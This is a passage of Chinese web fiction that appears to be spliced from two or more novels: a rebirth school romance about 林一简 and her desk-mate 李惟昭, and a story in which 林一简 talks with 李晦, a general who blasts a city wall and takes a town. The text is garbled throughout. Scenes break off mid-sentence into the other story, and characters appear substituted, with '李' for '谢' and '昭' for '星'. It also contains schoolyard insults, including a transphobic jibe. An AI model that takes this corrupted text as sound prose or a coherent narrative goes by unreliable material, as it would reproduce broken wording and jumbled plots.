“氓之蚩蚩,抱布贸丝,匪来贸丝,来即我谋……”- 其实她的前世,就像这一篇《氓》一样。 一切的悲剧,都是从喜欢上一个错的人开始的。 已经打过铃,正是早饭时间。 林一简一掀开桌板,就见到了一个包装精美的草莓蛋糕。 雪白细腻的奶油上缀满了鲜红饱满的草莓,隔着立方体透明盒子隐隐散发出香甜,礼品袋还系着少女心满满的粉飘带。 一旁别着枚便签——“生日快乐!” 林一简立时感到一阵厌恶。 都想起来了,这天是陈泽生日,她熬了个通宵亲手制作了草莓蛋糕,打算在下早自习后送出去,顺便再干些蠢事。 同样的蠢事她定不可能再干第二次了。 林一简立马拎出草莓蛋糕,就要丢掉。 但转念一想,陈泽不是好人,蛋糕却是无辜的。 她一个通宵的成果,不能就这么浪费了,浪费粮食可耻。 可,林一简又看到了自己肉乎乎的手。 她现在这个体重,真的不能再吃了,大早上的,还是这么高脂肪高热量的食物。 林一简一手拎着草莓蛋糕定在空中,正纠结着要怎么处理才好。 一旁忽然飘来一阵小笼包香。 林一简转头一看。 李惟昭正儿八经坐位置上,面前摊着一袋小笼包,看着没吃两口,这位大少爷百无聊赖拿筷子戳了戳,接着,慢条斯理将袋子拢起来,略带嫌弃地拎到了课桌角落。 大少爷早餐也吃路边摊小笼包啊。 林一简不由悄悄扬了扬唇。 说起来,这位哥挺有原则的。 大少爷,但从来不旷课不迟到。 成绩倒数,但节节课都有认真听。 品行优良到不像个垃圾二世祖。 不抽烟不喝酒不打架。 哦对了,这位哥唯一一次打架,是在前世。 当时她休学在家养病,还是事发很久以后,听到的消息—— 她休学后一周,李惟昭将陈泽打进了医院。 之后,李家将事情摆平,李惟昭继续在附中上学,陈泽转学到了其他城市。 经此一役,扬名立万。 这位哥又多了一个名号——附中第一校霸。 怎么说呢,或许是陈泽招惹了这位哥,或许是李惟昭看陈泽不顺眼,其中原因无人得知…… 但无论如何,一个不相干的人间接帮她出了头,她是感激的。 就当是前世的李惟昭对她还有几分情义。 想到这,林一简立马就想到了草莓蛋糕的去处。 林一简迅速将写着“生日快乐!”的便签扯下来揉作一团,接着,轻轻巧巧将草莓蛋糕落到了李惟昭桌上。 李惟昭眉一挑,转头看她:“给我?” “对。”林一简微笑着点点头,“李李你。” “李我什么?”少年桃花眼中又现出意味深长。 “……” 总不能说李你前世打了陈泽,干得漂亮。 林一简默了片刻,想到一个说辞:“李你早自习叫醒我。” 听到这,李惟昭眼皮瞬间耷拉了下来,语调懒懒的,颇为漫不经心。 “哦。” “……” 怎么感觉,他好像很失望的样子? 林一简都有点被自己的想法惊到了,这位哥能失望什么,算算时间,现在高二刚开学,李惟昭刚转来附中,他们才刚同桌一个昭期不到啊,肯定是她的错觉。 李惟昭没听到想要的感李,便只将草莓蛋糕当做寻常相赠。 冷白修长的手指轻轻将手提袋的粉色丝带扯开,随意将蛋糕盒子取了出来,纸袋底部却出现了一个,粉色信封? 李惟昭目光一闪,转头去看林一简。 林一简正拿着草莓零钱包,低头一边数钱一边思考早上吃什么,根本没注意这边。 李惟昭眼尾不由扬起一抹意味深长的笑,略带愉悦地取出那枚粉色信封,轻轻拆开。 才想着拜读一下这姑娘的大作,谁料,刚看到开头的第一个字,他目光就是一冷。 三秒后。 李惟昭面无表情将这封信念了出来。 “陈泽同学: 生日快乐。 不知道你有没有察觉到,其实我喜欢你很久了……” 她心底刚刚提起来,却听李晦:[别多想,是我炸的。] 林一简:??? 他有毛病?没事炸自己的城?等等……炸? 林一简后知后觉:[我应该没有把火.药的配方……]和你说吧。 李晦:[你上次查化肥,查到了“硝化反应”。] 李晦没再继续说下去,但林一简已经回过神来。 她憋屈:[怪不得你那么感兴趣?!] 她当时还以为对方是对化学有兴趣,毕竟是“炼金术”。还从基础化学原理开始,给对方做了好一段时间的化学知识讲解,结果这人在这儿等着她呢! 李晦吹了声口哨,抬头望天。 就林一简这样的,哪还用得着什么套话?稍微引导一下话题,她自己就能主动把坑挖了,啧……连点成就感都没有。 第 54 章 第 54 章 因为中途有了去李晦那边的打断,一觉醒来,林一简情绪平稳了许多,终于能坐下来好好跟林妈妈沟通一下她画漫画的事。 沟通进行得很顺利,主要原因在于她的版权费到账了。 一大难关过去了,剩下的就是林爸爸那里了。 林一简露出了肉眼可见的纠结表情。 章琪见状倒是忍不住笑起来,“这有什么?别看你爸爸那样,他昨天晚上偷偷上网查了好一阵子资料,想看画漫画是怎么回事。现在的新工作一个接一个,我和你爸都是快退休的人了,哪知道那么多?你爸还知道查一查……” 虽然有林妈妈加油鼓劲,但是林一简还是磨蹭了好几天,才终于鼓起勇气,尝试在饭桌上跟林爸爸再次坦白。 不出意料地,她铩羽而归。 林爸爸查是查了,搜索引擎上键入“孩子想画漫画,靠谱吗?”“漫画家这个职业怎么样?”等等问题。 然而,网络搜索蹦出的第一条结果:某某知名漫画家猝死出租屋。 正是下午三四点,骄阳炽烈无遗,篮球场无遮无拦。 一旁有人起哄问:“林一简你选谁?” 林一简扬眉一笑:“当然李惟昭。” 话音刚落。 “嘭——” 一个矿泉水瓶子精准丢进一旁垃圾桶。 众人循声望去,只见李惟昭转身朝这边走来。 瞬间全场安静,众人屏住呼吸,视线聚焦几乎要凝成实质。 众目睽睽之下。 李惟昭径直走到林一简面前,直勾勾看着她,笑意懒洋洋:“伸手。” 这声音散漫又随性,又似乎含着无限情意。 林一简像中了魔咒,脸不自觉发热,张着眼怔怔看着他,听从命令伸出手。 下一秒,手心落下两枚淡蓝色的薄荷糖,还残留着少年指尖的余热。 少年的桃花眼中盈着树隙间漏下来的光,肆意晃荡,令人眩晕。 声线又像是沁人清凉的自来水管水,是炎夏的最佳解药。 “等下要是低血糖了,就吃薄荷糖。” 林一简瞬间脸颊发烫,自己都感受到了,正想要要怎么反驳回去。 李惟昭已经转身往球场去了,留下轻飘飘的一句话。 “有眼光,好好看。” 自恋鬼! 林一简在内心笑骂,看着李惟昭远去的背影,又低下头,缓缓张开手,盯着那两枚薄荷糖发呆。 周围的女生早已掀起了新一轮的热潮。 火红的篮球往湛蓝的天空一抛,球赛开始! 林一简站在一旁的树荫下,唇齿间漫开薄荷糖的清凉,静静注视着场上的一切。 她早就领会过李惟昭的变态程度,对这场篮球赛结果其实没什么悬念。 然而现实却是十分精彩。 篮球是一项极具观赏性的运动,每时每刻都足以激动人心。 少年跃在空中,重重一扣,篮筐篮网甚至整个篮球架都随之晃荡。 瞬间将全场的气氛掀向高潮! 李惟昭轻轻落地,松松揉了揉手腕,抬眼看向陈泽:“改天吧。” 陈泽瞬间脸色铁青,不说话。 李惟昭没接任何人的水,甚至因其周身气场过于冷冽和玩世不恭,几乎没有女生敢靠近。 他径直走向林一简。 “我的水呢?” 声音懒洋洋,讨要奖励的猫主子一样。 少年散漫站那儿,校服映出优美流畅的身体线条,腿长手长,清薄的锁骨间盈着薄汗,格外诱人。 正是绿荫下,树隙在他脸上洒下疏淡斑驳的光点,少年雪白的皮肤泛着水光,更显容颜俊美。 那双桃花眼仍是笑意盎然,炽热浓郁,风拂过,微湿墨黑的发梢恣意流转,薄荷的清冽气息被冲淡,荷尔蒙爆棚。 林一简笑眼望去,从身侧举起早就买好的水:“喏。” 李惟昭眨眨眼,又揉揉手腕,还留有扣篮的余震:“手痛。” 林一简瞬间扑哧一笑,心想这位大少爷给点糖还矫情上了,然而目光悠悠,语气幽幽:“那我帮你拧开?” 李惟昭忍不住一笑,懒懒点头:“行。” 林一简利落将矿泉水瓶拧开,递过去:“李李你了。” 李惟昭仰头喝了口,长睫低俯,清澈的声音中含着笑意:“李我什么?” “李你今天篮球赛打的这么精彩,李你上周体育课送我去医务室,李你以后就算我晕倒你也会送我去医务室……”林一简站在他面前,背着手,微微低头,脸颊有些发红。 李惟昭单手拧着矿泉水瓶盖,轻轻一举,勾着声音,得寸进尺:“就拿这个李我?” 林一简觉得李惟昭真的很幼稚,幼儿园小朋友干了好事要小红花一样,故意悠着说:“那我明早给你买三鲜豆皮?” 李惟昭立马变脸:“不要!” 少年的声音透着冷漠的拒绝,然而郁闷着神情,就、很、可、爱。 周围人群早就震惊震惊特大震惊! “什么?我没看错吧?李惟昭刚刚是在撒娇?” “认证成功,满级茶艺大师!” “不知道为什么,别的男生装手痛让女生拧矿泉水我只会觉得做作,到李惟昭这就格外可爱,好的我是颜狗我承认!” “关键林一简还超宠他诶!” 当晚某论坛悄悄出现一个帖子。 【八一八少爷和同桌的二三事。】 LZ:现在入股就是原始粉了。 一经钓鱼,瞬间掀起千层浪,人生处处是观众,回帖无数。 段锐&何田田看到:?当我们是空气呢?好的我们确实是电灯泡…… 两位当事人还不知情,但表示:我们真的只是同桌关系。 另一高楼也悄悄建起。 【高二七班林一简爽爆我!】 LZ:一人撕翻嘴贱塑料姐妹团!怒怼黎梦罗雨晴道歉!霸气要钱锤陈泽!月考第一父子赌约!被李秋雅砸排球也当场还回去! 林一简直到周六放学,站在教学楼底下,看着外面连天的雨幕,都还在思考一件事情。 为什么重回高二,仅仅一周,她对李惟昭的印象就足以颠覆。 记得前世,她对李惟昭的印象大概是,长挺好看一男的,但冷拽刻薄且二世祖,白瞎了那张脸。 起因就是前世的今天,也是周六放学,也是这样一个下雨天,印象过于深刻,以至于难以磨灭。 当时她站在同样的位置,刚撑开伞,就见一少年淋着雨往校门口走去,步伐不疾不徐,背影孤傲,看不清情绪,书包仍松松散散挎在一侧肩膀上,顶都不带往头上顶的。 她当时就想,下雨了不知道跑,有书包不知道往头上挡,妈的这不傻子吗?! 再定睛一看,哦,李惟昭,这傻子她同桌…… 本来就傻,再淋雨别把脑子给淋坏了! 她想都没想,连忙跑过去要给李惟昭打伞。 李惟昭步子像老大爷遛弯,但腿长,没一下就走出老远,她追的贼辛苦,等赶上已经到了校门口。 “李惟昭!”她气喘吁吁,刚抓住他的手腕。 少年回过身,看到她,本就没什么表情的脸上陡然一凝,眉目间只剩冷,一种终年刺骨的冷,静默几秒,一句话也没说,就拂开她的手,转身利落走了。 她站在原地,看着李惟昭淋雨沿着人行道往前,本以为他会就这样消失在放学的人海中。 “……” 她站在原地毫无感觉,甚至有点想笑,大少爷这是发脾气了吗? 本以为事情就这样结束。 然而资本家总是万恶的。 那辆车本就贴着街边停,她光顾着在原地偷笑都没来得及躲开,路面又积了满满一坑的雨水。 “哗——” 劳斯莱斯幻影扬长而去,她被溅了一裤腿雨。 要不是穿的鞋防水…… 她对那天的印象就是这样。 少年孤高冷傲的背影,狂拽酷炫的黑人抬棺司机和劳斯莱斯幻影,以及湿着裤脚回家的透心凉。 终、生、难、忘。 以至于后来对李惟昭的印象都不太好,都是冷拽刻薄且二世祖…… 此时。 林一简站在教学楼底下,一眼望去,却并没有在雨幕中见到前世的那个孤傲背影。 她没太多想,撑开伞,抬步往阶下去。 倏然。 清冽的薄荷气息又侵袭了过来。 一阵快速的脚步声,一人弯身躲进了她伞下,一把小小的浅蓝色雨伞瞬间拥挤了起来。 而事实上,李晦冥思苦想两天的最终结果是—— [等腿养好了,你跟着我练武。] 林一简:? 想想当年的篮球课,李晦顿了下,又改口道:[算了,我帮你练。] 林一简觉得不是自己的错觉,她从对方语气中听出点不太明显但确实存在的嫌弃意味。 林一简:[……] 退货吧!这种男朋友。 第 55 章 第 55 章 欧阳艺和叶竺妍都还没有返校,冯歆悦倒是为了开学的选调考试,整个暑假都留在学校复习。 靠谱的寝室长依旧靠谱,时不时过来探望不说,还顺便给林一简这个行动不便残障人士带个饭。 林一简接过饭盒道谢,又说:“歆悦你要是忙着复习,就不用总是过来,反正医院里也能订餐。” 冯歆悦一边把洗了的水果往床头柜上放,一边随口回答着:“没关系,出来走走透口气,一整天都在自习室里也很闷。” 冯歆悦这么说,林一简也没多推辞。 两人略微聊了几句,冯歆悦感慨:“幸好你不用秋招,不然可就麻烦了。” 林一简看看自己打石膏的腿,深感认可地点点头。 不知道什么时候过来的李晦也应和了一声,[所以我就说么,还得好好练武。] 林一简眉毛一跳。 她黑着脸:[你闭嘴!]明明什么都没变,今天前还是去打水都要低头弓着腰的那个胖子,今天却变成一个傲然于世的少女站她们面前。 那种将之改变的东西是——自信! 一种浑然天成,不带丝毫怀疑和畏惧的自信! 接纳全部的自己,也勇敢地面对一切! 众人一时不知如何是好。 在背后聚众说人坏话被正主抓个正着这件事实在是…… 林一简眉一挑,微敛的眸光中含着极盛的笑意,鲜红饱满的唇说出的话又是那么轻描淡写:“说啊,怎么不说了,刚刚在门外看你们说的那么高兴,我真想听你们再说一遍。” 她手上还悠悠晃着那两根无绳跳绳,硕大的黑色圆球一前一后,一摆一摆。 这架势莫名让人胆寒,简直是明晃晃的威胁——“再说一遍,把你们都撕咯。” 几米远处。 李惟昭将豆奶盒子轻轻往垃圾桶一投,精准命中。 少年随即走进教室,随手拖了把椅子。 “这不妥妥校园霸凌,咱班怎么能出这种事。”段锐摇摇头,正举着手机拍视频,就发现李惟昭不见了。 往边上一扫,那大少爷正吊儿郎当靠椅子上,单手支着下巴,姿态矜然,悠悠望向那处。 “就看戏?”段锐立马过去跟着拖了把椅子坐下。 “嗯。”李惟昭一双桃花眼懒洋洋,定定望着那草莓发圈高马尾的傲然少女,目光一闪,又挑起几丝兴味,“看戏。” 前方不远处。 众人下巴皆是往后一缩,不敢说话。 一女生出来,心虚地挤出笑:“没、没有。” “哦?” 林一简眉往下一蹙,看起来很失望的样子,又忽地眼一扬,薄笑悠悠,似在凌迟,一个个扫过这几个人,最后停在中间的李秋雅身上。 鲜唇轻启,声音极平极慢,然而,掷地有声! “只敢在人背后说,不敢在人面前说。” “我看不起。” “你!”一女生似乎气不过,将手机往桌上一拍。 “黎梦是吧。”林一简两步走过去,将桌上手机拿起来一看,屏幕上她的照片被P了猪耳和猪鼻,她眼中不由闪过一瞬厌恶,接着把手机往桌上轻轻一搁,幽幽望向那人,“我P图技术哪有你好啊,要不你教教我呗?” “你别太过分,我们不就闲聊了两句,你至于吗?”是说她不敢出门见人那女生,叫罗雨晴,全校人都知道她妈是某老总的三,因为前世某天她妈开宝马来接她放学,正好被正房老婆撞见,在校门口撕了一场,只是这时还没人知道。 “我不就说了两句,至于吗,你们这时候玻璃心了?”林一简眉一挑,“你是私生女吗,不敢出门见人。” 罗雨晴眼中一酸,哭着跑了:“你欺负人!” “呵。”林一简唇一弯,笑的很愉悦。 “都是同学都是同学,别搞这么僵!”李秋雅这时候出来当好人了,还是那副惯有的优雅大方。 “现在想到都是同学了,刚刚在背后说我坏话的时候怎么没想到。”林一简抱臂轻蔑一笑,不容让步的姿态。 李秋雅眉一皱,只一瞬,又柔和拉过她的手:“简简,这事都是我不好,没能及时让她们打住话头,聊着聊着就偏了,我替她们给你道个歉好不好。” “别摆出这幅样子了。”林一简轻轻拂去李秋雅的手,目光浅淡又幽深,“假的很。” 她至今仍不知道李秋雅在这场围绕她的群嘲中扮演着什么样的角色。 只记得前世,李秋雅惯会两面三刀的。 女生上课有时候会开小差照镜子,前世某天,她捏着小圆镜子里自己肉肉的脸蛋,小声嚅嚅:“我好胖啊。” 李秋雅凑进镜子里,美目倩兮,捏上她另一侧脸蛋:“肉肉的,小猪猪,多可爱啊。” 那时她还会在夕阳下一个人游荡在无人的校园里,犹豫再三,才在很久以后找到机会问李秋雅:“小雅,你真那样想我的吗。”接着相信李秋雅的搪塞。 现在不会了。 她的态度实在过于冰冷。 李秋雅脸上不由一僵。 “你不就是喜欢陈泽吗,我们又没说错。”又有人跳了出来。 “是啊,你们只是说错了话,又不是做对了人。”林一简口吻平静,微笑浅淡,“第一,我不喜欢陈泽,第二,在背后diss别人很理直气壮?第三,跟李惟昭当同桌就这么让你们趋之若鹜?” 趋之若鹜:比喻许多人争相追逐不好的事物。 李·不好的事物·惟昭刚听到“我不喜欢陈泽”勾起唇角,这时听到自己,瞬间面无表情。 “……”这姑娘无差别攻击啊。 晚自习快打铃了,班上人越来越多。 段锐作为班长,不能再坐视不管了,连忙过去劝和:“散了吧散了吧,有什么架下课再打。” “……” 有什么架下课再打。 小雅,这才是刚刚开始呢。 无戏可看了。 李惟昭眉眼轻轻一挑,闪过一瞬类似赞赏的神色,接着,起身往座位上走去。 李惟昭步子一顿,声音矜冷。 “连一女的都抱不起来,还算男的吗。” “……” 几个男生瞬间噤声。 原因无他,这位哥真上了。 “干脆去泰国做个手术,跟她们做姐妹好了。” “……” 一男生就要干起来。 另一男生连忙拉住他:不能惹不能惹不能惹你忘了这位爷是谁了? 其实真干起来李惟昭也不带输的。 即使他现在给人的形象是超有钱的那个李氏集团的二公子,敢惹他还想不想在附中混了?- 李惟昭回到位置上坐下时,林一简正在一旁从书包里摸出草莓零钱包清点家当。 少年懒懒散散靠椅子上,随手掀开桌板,从里面抽出本资料摊桌面上,钢笔松松托在指尖晃了晃,忽然目光一转,问:“跟我当同桌你很嫌弃吗?” 林一简数完本就不多又因为掉钱雪上加霜的家当,将草莓零钱包放回书包,唉声叹气:“很光荣要拉个横幅再放挂鞭炮吗?” “……” 反讽一流。 李惟昭试图挣扎,目光飘忽了一会儿,又敛眸淡淡说:“不至于吧。” 他自认为还算是个不错的人,不至于那么不堪。 “嗯,是还可以。”林一简低头翻手机。 李惟昭才勾勾唇。 “至少有钱。”林一简开机,“李李大少爷今天帮我付钱。” 李惟昭:“……”只是有钱。 “我扫你还是你扫我。”林一简打开微信。 “……” 两人沉默着加上微信。 林一简立马把钱转了过去,再点开李惟昭个人主页,头像是一张深蓝色的昭空,昵称则是——B612。 没想到这哥这么有童心,浪漫中又透着幼稚。 其实前世她并没有李惟昭的任何联系方式,只在扣扣班群见过,从未发过言,头像也是这样一张昭空,深蓝纯净的夜空中闪着几点昭,并不十分亮,不仔细看会以为是全黑,隐秘而深邃。 前世他跟她是一个没什么交集的人。 只有这么几个月的同桌情分。 林一简才出神着,手中的手机又震了一下,弹出一条消息。 妈咪:【葵葵,下了晚自习早点回家,今天炖了玉米排骨汤[亲亲]】 林一简紧紧盯着屏幕上的那两行字,目光千回百转,犹豫好久,在键盘上打打删删,才终于痛苦又释然地发出去一条消息。 好好吃饭:【妈,最近学习好忙,我打算在学校上最后一节晚自习,晚上就不回去了,就在寝室住[爱心]】 她不敢走近,也不敢想,立马转头狂奔,迅速搭了公交车去学校上晚自习。 也正是她在楼道撞破陈泽和李秋雅的那一天。 那一年的冬天真的很冷。 她从平凡的蛋糕店家的女儿,变成了流落在外多年的市长千金。 重来一世,再次触及,林一简心头依旧爱恨翻涌,热意难平又隐有钝痛。 她真的不知道该怎么去面对,她现在还很难平静地去见爸爸妈妈,她暂时还不想回家。 她能想到最好的办法是住宿,让自己冷静一段时间。 可她的钱掉了,现在浑身上下一百块钱不到,这一段时间要怎么办。 林一简静静地坐在那儿,头越埋越低,极力忍住眼中的酸意,良久,才克制着低低出声。 “李惟昭,能借我点钱吗?” 正想着,突然听到旁边的一道笑声。 林一简一愣,抬头看过去,看见不知道什么时候过来的冯歆悦。 她眨了眨眼,连忙恢复表情,对着冯歆悦笑了下,“你回来得可真快。” 她这么说着,把对方落下的复习资料递过去。 冯歆悦倒是没急着接,而是以全新地眼光上下打量了一下林一简,只把林一简看得莫名又尴尬,耳朵又有点泛红的时候,才“噗”地一声笑起来。 她一边接着资料,一边对林一简比了个大拇指,“很帅啊,刚才。” 见林一简还没有反应过来,她不由拿捏着腔调学了起来,“‘我并没有这个义务’……” 林一简脸刷地一下子涨红了,“歆悦!” 怎么连寝室长都学坏了?! 第 56 章 第 56 章 冯歆悦拿完资料就走了,林一简却忍不住出了会儿神。 刚才那电话打完后,她是心情不太好,但意外的没什么紧张的情绪。大概是这两天在李晦那边,旁观他冷着脸呛人看多了,完全没觉得有什么不对。 这么想着,林一简心情有点复杂。 原来下限被拉低还有这种附带的好处。 李晦倒是没有想那么多,或者说他的关注点完全不在这方向上。 看着林一简那通电话打完后一点没多想,大有把这事这么揭过去的意思,他不得不出声提醒,[你就没想过,对面到底是怎么知道这件事的?又是怎么拿到你的联系方式的?] 林一简愣了下。 李晦:[……]居然真的没想。 这人到底怎么活这么大? 不管李晦到底为什么笑,这会儿楼梯间的气氛实打实地尴尬到窒息。 林一简顾不得回答李晦,连忙放缓了语气补救,“抱歉,我的意思是,我周六有点事情,所以可能不行。” 沈瑶晗也像是终于反应过来,连连摆手,“没什么没什么,我就是问问。” 这场对话就这么半尴不尬地结束了,林一简往楼上走的时候,脑子还在不由自主地做场景回放,尴尬懊悔歉疚人际焦虑等等复杂难以仔细分辨的种种消极情绪在心底酝酿,整个人都很郁郁。 偏都这样了,脑子里的那个声音还在说风凉话。 [至于吗?你拒绝我那么多次,都没见得有什么反应。这会儿才对别人说了一个‘不’,就难受成这样?] 林一简不由反驳:[那能一样吗?] [哪里不一样?] [你那是胡搅蛮缠,人家是真的有事。] [哦?什么事?]正是在此次平定定宁之乱时,暂管朔州的安恭义。 按说“二把手”这遭了大难的样子,谁都要问上一句,但是宴上众人硬生生地对这幅尊荣视而不见,竟没一个人上去问的。 安恭义在外围缓了半天,终于端起了酒杯往人群聚集处走去。 偶尔的肢体碰触让身上的青紫阵阵闷痛,安恭义神色不由自主地扭曲了瞬许,但是等到了李晦面前,已经满脸堆笑,“李将军此次迅取锦平,当真是神乎其技、有名将风范。” 他这一开口,周遭的人怪异地安静了一瞬,李晦想装没听见都不可能。 所幸,李晦也没打算装。 他慢条斯理地转过头去,看见安恭义这尊荣,嘴角微不可察地往上挑了一下,但很快就敛住,一副又惊讶又意外的语气,“安都校这是怎么了?” 安恭义微微垂首,面上露些羞惭的神色,“说来惭愧,前几日回家的路上,不小心摔了一跤。” 李晦扬了下眉,状似关切:“怎么这么不小心?” 安恭义:“宿年眼疾罢了。不比将军骁勇,我实在没什么斩敌之能,想为干爹排忧解难,只能多看些公文,时日一久,这眼睛就不好,一到夜里就视物不清……” 其实真以年岁论,他和安思范是差不了几岁,却不影响他一口一个“干爹”叫得亲近。 李晦一向看不上安恭义这副小人嘴脸,这会儿拖长了语调“哦~”了声,慢吞吞道:“原是眼疾啊。我还以为是亏心事做多了,被什么人寻仇了呢?” 安恭义神色一僵,但很快就道:“将军说笑。某一应所为,皆是为朔州打算、为节帅考虑……便是为此遭人记恨,某也心甘情愿。” 李晦眉梢动了动,还想再说什么,却被旁边安恒德碰了一下胳膊。 差不多得了,难不成真打算跟人撕破脸? 李晦顿了一下,撇嘴。 ——他给大哥面子。 安恭义忙趁机说了几句恭维话,又给李晦敬酒。 在安恒德的在旁劝和下,李晦似乎终于态度松动,状似接下。 周遭屏气凝神的人见此,也是大松了口气,甚至有人开始大声交谈、试图将气氛炒热。 却不料酒将入口的时候,李晦突然顿住了。 原本缓和的气氛又为之一僵,李晦像是全无所觉,他抬起头来,对着对面笑道:“这里面没毒吧?” 安恭义脸上的笑都僵了:“将军说笑了。”A大。 李晦过来的时候,林一简正准备出门。 李晦一看就知道她这不是准备去食堂的样子,不由问:[干什么去?] [约饭。]林一简解释,[我前几天不是和你说了么?我们高中有个学弟,今年考上了A大,我作为学姐,总得请人吃个饭的。] 李晦“哦”了声,语气听起来不太好的样子。 林一简小声:[你个醋精。] 李晦略略提了调子“诶”了声,觉得这事可以林一简掰扯掰扯,[我还不宽宏大量?你可是和别的男人单独吃饭,孤男寡女……] 林一简接话:[大庭广众。] 李晦被噎了一下,林一简哼着声,[李同学,你这思想很有问题啊。] 两人拌着嘴往校门口走。 这种请客吃饭不可能吃食堂,林一简和对方约的学校西门见。校门口的人来来往往,林一简之前也没见过这学弟,一时没法确定对方到底到没到,正准备发消息问一问呢,却听李晦轻轻“咦?”了一声。 林一简还没来得及问是“怎么了”呢,就见对面李晦注意力落点的那个男生抬起手来打了个招呼。 林一简:??? 她确认再三,对方是对她打招呼的没错,但人依旧相当震惊,[你到底怎么认出来的?!] 她知道李晦眼神好,但这开挂了吧?! 李晦无语了一下,还是解释:[……你见过他。] 白天大家都忙着上课,下午的篮球场上没什么人。 肖成勉经过的时候就看见球场上站了一个妹子,篮球滚在一边,那妹子低头不知道在想什么。 他心底一动。 ——天赐良机啊!……呸、是老天给的缘分! 这妹子看起来是个初学者,虽然不知道为什么在这儿练篮球,他主动过去教两手,先不说有没有进一步发展的可能性,单就被妹子用崇拜感激的目光看着,就叫人成就感爆棚啊! 肖成勉这么想着,正准备整理整理发型往场地里走呢,就看见那妹子往前走了两步捡起了篮球。 等等……那是个“妹子”吧? 肖成勉迟疑了一下。大学校园里,别说长头发的不一定是妹子了,就连穿裙子的都不一定是。 他还犹豫着呢,就见那人抓着篮球的五指一旋,给了个初始转力后,球稳稳地在在食指的指尖上转了起来。 肖成勉脚步顿住了。 这一手说难也不算特别难,他为了耍帅也专门练过,但还是需要点入门技巧的。这看起来不像是这个初学者。 肖成勉决定再观望观望。 ……这运球不错嘛,干脆利落。投球……漂亮,三不沾啊! 三分,这距离、牛了个逼! 等等、要是还往后退的话,就超半场了。 肖成勉不自觉往前倾了倾身,整个人都快扒在球场外的防护网上了,他眼看着场中的人屈髋后微微跃起,早已举起篮球球脱手而出。 肖成勉嘴巴张成了O型—— 半、半场投篮?!居然来真的? 半场起跳把球扔出去这种事谁都会干,但是以这位大佬刚才那几个远距离三分的命中率来看,肖成勉觉得……他这个“觉得”还没“觉得”完呢,球先一步在空中划过一道漂亮的弧线,稳稳落入篮筐。 肖成勉整个人都木了。 眼花?幻觉? 场中的人似乎注意到了这边,抬眼轻轻一瞥,那冷冷淡淡的眼神落过来,肖成勉一个激灵,脱口而出,“爹!” 妹子?什么妹子!这分明是个活爹!! 林一简:? 我怎么不知道我见过? 他这么说着,像是证明什么一样,将杯中的酒一饮而尽,以空杯底对外示意。 李晦点点头,一副“知道了”的模样,但终是没喝自己那杯。 倒不是真的怀疑安恭义会在这场合下毒,他就是不想接对方的敬酒而已——真喝了、他胃疼。 等这算不上“和解”的和解过去,安思范也姗姗来迟地到了,宴上的气氛仿佛又回到了开始的其乐融融。 [……] 在李晦那“仿佛真就问问”的平静语气下,林一简一下子哑了。 和男朋友约会…… 听起来也不像是什么正经事的样子。 感受着心底那股因为她短暂语塞而生出的得意情绪,林一简顿时憋气。 ——这人真是太讨厌了! 那股得意洋洋的情绪实在让人恨得牙痒痒,林一简觉得不能这样下去。 她沉默了一会儿,突然抬手敲了敲旁边的墙壁,另起话题道,[你知道这些楼是怎么建起来的吗?] 李晦愣了下,还是问:[怎么建的?] 他对这些东西都还挺感兴趣的,也不介意林一简生硬地转移话题,顺势摆出洗耳恭听的态度。 但林一简却解释的却并非建筑原理,而是道:[是‘合作’。] [啊?] 林宏志有点不自在地别开了一下脸,章琪也是。 “你这孩子,怎么突然说这些?” 林一简还想说点什么,脑海中突然传来一声重重的咳嗽声。 林一简:[……] 这种干醋都要吃,过分了吧? 默默地吐槽完,她还是轻轻弯起来眼睛,莞尔轻声,[也爱你。] 李晦不满意地挑剔:[把“也”去了。] 搞得他像是什么顺带的一样。 第 57 章 第 57 章 数年后,洛都城外。 洛都的城墙宏伟厚重,那是有别于边境军镇的另一种壮丽。 而此时此刻,城墙摇晃、上面的土尘簌簌落下,宛若地龙翻身一般的动静让城头的守军都狼狈逃窜。 李晦抬手在眼睛上方搭了个棚子往远处望,一片烟尘滚滚的、什么也看不清。 正打算拿望远镜再看看呢,一偏头就看见旁边许玄同一身仙风道骨、口中念念有词,仔细听听还能听出念咒的动静……念的还是元素周期表。 李晦:“……” 想着战前看见的,对方拿着“化学”“物理”两个牌位,恭恭敬敬地的上香供奉的举动,李晦就忍不住嘴角抽搐。 奇奇怪怪的。林一简说了好久,把这里面的问题一条一条历数了个遍。 李晦难得没有呛声什么,耐着性子一句一句地答应,一直到林一简再次沉默下去。 隔了好一会儿,林一简才再一次开口。 她声音依旧很低,不过比起先前的低落来,这次更像是怕惊扰什么的轻盈,[但是很开心,画漫画的时候心情很好……] 仿佛创造了另一个世界。许玄同:“……小公子亲眼所见,千真万确。” 李晦:“……” 他低着头看不清楚表情,许玄同却忍不住心里咯噔一下:不是吧?他虽然觉得安恭义搞死干爹这事没法信任,但李晦这“义父”该不会是真“义父”吧? 李晦也说不清楚自己现在是什么心情,他只是有点怔然。他刚刚发觉那人的暮气之态,转瞬便得知了对方的死讯。甚至不是死于战场之上的两军交戈、而是病榻之上的小人毒杀。 那个人都会那么轻易的死去,那他呢? 李晦垂眸看向自己腰侧的伤口,越发肯定了自己的选择。 ——这所有的一切,原本都是不该出现在她生活里的东西。 他深吸一口气,冷静下来。 片刻思量后,开口:“不回云州,去朔鄢。”许玄同被看得有点茫然,他还待再说什么,却听一阵闷雷响过。 不,不是雷。 天空依旧是那阴沉沉的样子,并无雷光闪过,但是这炸雷的声响却切切实实地在耳边响起,随着地面的摇晃,一小段城墙轰然崩塌,而与此同时,低沉压抑、带着阵阵回音的声音从城中各个角落响起—— “安恭义背信弃义……背信……弃义……” “……谋害节帅,天理不容……不容……容……” 声音在特制的腔体中来回震荡,被放大的同时带来了一种奇妙的韵律,仿若某种天降圣言的吟唱。 和刚才那炸雷一般的动静比起来,这声音算不得响,但正是这似有若无的情形,带出一种谶言特有的缥缈感。 许玄同懵了一下,下意识地出声:“神音……” 李晦:“……?” 这老骗子怎么回事?先前做共鸣箱的时候,他可在旁边看着呢。 李晦给了个白眼,“是物理。” 这么匆匆说完,他也顾不得理这个脑子不知道哪里出问题的老骗子了,带着早就准备好的人手,趁乱直奔刺史府。 是的,李晦根本都没打算强攻朔鄢。 强行攻打城池的动静根本藏不住,息州那边还打着仗的,后方这么打起来,是等着前线军心离散、大举溃败吗?! 就像是林一简那次说的那样。 这未来可是他的朔方,又不是拿下朔鄢城之后就可以万事不管了。 许玄同只觉得眼前一黑:果然! “我知道刺史复仇心切,但敌众我寡,形势所迫、正该暂避锋芒啊!!” 李晦却摇了摇头,“不一定要人多。” 许玄同:这是人多不多的事吗?!几天后。云州治所,云延。 